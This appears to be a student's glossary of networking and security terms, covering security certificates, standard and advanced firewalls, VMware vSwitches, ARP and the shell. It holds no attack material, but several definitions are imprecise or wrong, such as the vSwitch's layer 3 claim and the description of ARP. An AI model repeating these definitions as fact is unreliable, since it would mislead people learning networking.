Security Certificate - It provides an additional layer of confidence when using them on a network. They provide details of the device in which they are located on, reassuring the connecting device that it is trusted by the network and also the user. If the security certificate is changed in anyway the server or machine in which the certificate was viewed by last will prompt the user, identifying that the device you are connecting to has changed, and there may or may not be a security breach.

Firewall - Firewalls come in two main types both Standard and Advanced

- "The firewall is at the boundary between two networks;
- All traffic between the two networks must pass through the firewall;
- The firewall has a mechanism to allow some traffic to pass while blocking other traffic. The rules describing what traffic is allowed enforced the firewall's policy." (Ingham, 2002)
Firewalls are particularly important to configure correctly, due to there being so many inbound and outbound firewall rules related to TCP and UDP. They can be taken advantage of in a variety of different ways.

Advanced firewalls are those that are pro-active and provide additional functionalities rather than just blocking traffic, it can analyse the packets for specific things such as unusual scanning attacks which would then alert the systems administrator to take action.

**vSwitches** - Term given to a virtual switch provided by VMware, it provides all the functionality a layer 3 physical switch has.

**ARP** - Address Resolution Protocol is a protocol used for the resolution of network layer addresses such as IP addresses. It is the first line of communication between two machines which is the lowest layer that is the data layer within the OSI Model.

**Shell** - Term given to the interface that provides access to an operating systems services such as the terminal.